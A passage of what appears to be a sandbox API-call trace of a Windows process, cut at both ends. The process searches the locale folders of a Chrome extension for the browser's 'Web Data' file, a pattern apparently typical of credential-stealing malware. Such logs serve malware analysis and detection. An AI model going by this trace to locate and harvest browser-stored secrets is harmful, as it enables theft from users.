Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca") returned 131 [0056.388] lstrlenA (lpString="\\*.*") returned 4 [0056.388] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.388] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca" [0056.388] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\*.*" [0056.388] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.388] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.388] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.388] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.388] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.388] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.388] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.388] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.388] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.388] LocalFree (hMem=0x2e0100) returned 0x0 [0056.388] LocalFree (hMem=0x2e0210) returned 0x0 [0056.388] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.388] lstrcmpiA (lpString1=".", lpString2="cs") returned -1 [0056.388] lstrcmpiA (lpString1="..", lpString2="cs") returned -1 [0056.388] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.388] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.388] lstrlenA (lpString="\\") returned 1 [0056.388] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.388] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.388] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.388] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.388] lstrlenA (lpString="cs") returned 2 [0056.388] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.388] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.388] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="cs" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs" [0056.388] LocalFree (hMem=0x2e0100) returned 0x0 [0056.388] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs") returned 131 [0056.388] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs") returned 131 [0056.388] lstrlenA (lpString="\\*.*") returned 4 [0056.388] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.388] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs" [0056.389] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\*.*" [0056.389] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.389] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.389] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.389] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.389] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.389] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.389] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.389] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.389] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.389] LocalFree (hMem=0x2e0100) returned 0x0 [0056.389] LocalFree (hMem=0x2e0210) returned 0x0 [0056.389] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.389] lstrcmpiA (lpString1=".", lpString2="da") returned -1 [0056.389] lstrcmpiA (lpString1="..", lpString2="da") returned -1 [0056.389] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.389] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.389] lstrlenA (lpString="\\") returned 1 [0056.389] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.389] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.389] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.389] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.389] lstrlenA (lpString="da") returned 2 [0056.389] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.389] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.389] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="da" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da" [0056.389] LocalFree (hMem=0x2e0100) returned 0x0 [0056.389] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da") returned 131 [0056.389] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da") returned 131 [0056.389] lstrlenA (lpString="\\*.*") returned 4 [0056.389] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.389] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da" [0056.389] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\*.*" [0056.389] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.389] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.389] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.389] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.389] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.389] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.389] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.390] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.390] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.390] LocalFree (hMem=0x2e0100) returned 0x0 [0056.390] LocalFree (hMem=0x2e0210) returned 0x0 [0056.390] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.390] lstrcmpiA (lpString1=".", lpString2="de") returned -1 [0056.390] lstrcmpiA (lpString1="..", lpString2="de") returned -1 [0056.390] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.390] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.390] lstrlenA (lpString="\\") returned 1 [0056.390] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.390] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.390] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.390] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.390] lstrlenA (lpString="de") returned 2 [0056.390] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.390] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.390] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="de" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de" [0056.390] LocalFree (hMem=0x2e0100) returned 0x0 [0056.390] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de") returned 131 [0056.390] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de") returned 131 [0056.390] lstrlenA (lpString="\\*.*") returned 4 [0056.390] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.390] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de" [0056.390] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\*.*" [0056.390] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.390] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.390] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.390] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.390] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.390] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.390] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.390] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.390] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.390] LocalFree (hMem=0x2e0100) returned 0x0 [0056.390] LocalFree (hMem=0x2e0210) returned 0x0 [0056.390] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.390] lstrcmpiA (lpString1=".", lpString2="el") returned -1 [0056.390] lstrcmpiA (lpString1="..", lpString2="el") returned -1 [0056.390] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.390] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.391] lstrlenA (lpString="\\") returned 1 [0056.391] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.391] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.391] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.391] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.391] lstrlenA (lpString="el") returned 2 [0056.391] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.391] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.391] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="el" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el" [0056.391] LocalFree (hMem=0x2e0100) returned 0x0 [0056.391] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el") returned 131 [0056.391] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el") returned 131 [0056.391] lstrlenA (lpString="\\*.*") returned 4 [0056.391] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.391] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el" [0056.391] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\*.*" [0056.391] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK 